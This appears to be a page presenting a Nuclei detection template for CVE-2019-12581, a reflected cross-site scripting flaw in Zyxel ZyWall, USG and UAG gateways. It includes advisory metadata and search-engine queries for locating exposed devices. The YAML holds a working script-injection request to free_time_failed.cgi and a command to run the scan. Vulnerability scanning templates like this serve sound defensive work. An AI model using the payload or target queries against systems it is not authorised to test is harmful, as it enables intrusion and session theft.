Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting

ID: CVE-2019-12581

Severity: medium

Author: n-thumann

Tags: cve,cve2019,zyxel,zywall,xss

Description

Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.

YAML Source

id: CVE-2019-12581

info:
  name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
  author: n-thumann
  severity: medium
  description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
  reference:
    - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
    - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12581
    - https://www.zyxel.com/us/en/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12581
    cwe-id: CWE-79
    epss-score: 0.00358
    epss-percentile: 0.7209
    cpe: cpe:2.3:h:zyxel:uag2100:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: uag2100
    shodan-query: http.title:"ZyWall"
    fofa-query: title="zywall"
    google-query: intitle:"zywall"
  tags: cve,cve2019,zyxel,zywall,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "Please contact with administrator."
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ae6630d8cf48055a46f760d519421b5cb9431c6d48e9d83031b130b2fa88c19d022100ca2c95c80688977cf0c2079ef01977e6cd5e94d126d085233f3e464dff6b32ee:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12581.yaml"

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